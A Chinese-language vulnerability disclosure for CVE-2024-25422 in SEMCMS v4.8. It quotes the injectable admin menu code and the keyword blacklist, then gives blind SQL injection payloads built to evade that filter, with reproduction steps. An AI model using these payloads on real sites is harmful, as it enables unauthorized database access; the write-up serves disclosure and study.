
semcms存在SQL注入(CVE-2024-25422 )
Semcms 简介
SEMCMS 是一个支持多语言的外贸网站内容管理系统(CMS)。
v4.8 Download Link: http://www.sem-cms.com/TradeCmsdown/php/semcms_php_4.8.zip
漏洞原因:
/xcR45q_Admin/SEMCMS_Menu.php 第66行
漏洞代码:
<?php
} elseif ($type == "edit") {
$row = mysqli_fetch_array($db_conn->query("SELECT * FROM sc_menu WHERE ID=" . $_GET["ID"]));
?>
可以看出,这里的 ID 在通过 GET 传递参数时会执行 SQL 语句
过滤代码位于 /Include/contorl. PHP
第151行
function test_input($data) {
//$data = str_replace("%", "percent", $data);
$data = trim($data);
$data = stripslashes($data);
$data = htmlspecialchars($data,*ENT_QUOTES*);
return $data;
}
以及第8行
function inject_check_sql($sql_str) {
return preg_match('/select|and|insert|=|%|<|between|update|\'|\*|union|into|load_file|outfile/i',$sql_str);
}
function verify_str($str) {
if(inject_check_sql($str)) {
exit('Sorry,You do this is wrong! (.-.)');
}
return $str;
}
通过过滤上述内容,我们可以构造一个 payload
-1%20or%20length(database())%20REGEXP%20char(94,53,36)
漏洞复现
访问网站
http://url/xcR45q_Admin/SEMCMS_Menu.php
Brupsuite 抓包,由于新建站点时数据库名长度为5,构造 payload 为
-1%20or%20length(database())%20REGEXP%20char(94,53,36)
(判断数据库名长度是否为5)
插入 payload 查看回显

此时更改 payload
-1%20or%20length(database())%20REGEXP%20char(94,54,36)
(判断数据库名长度是否为6)
此时更改 payload

根据页面变化,可以继续进行 SQL 注入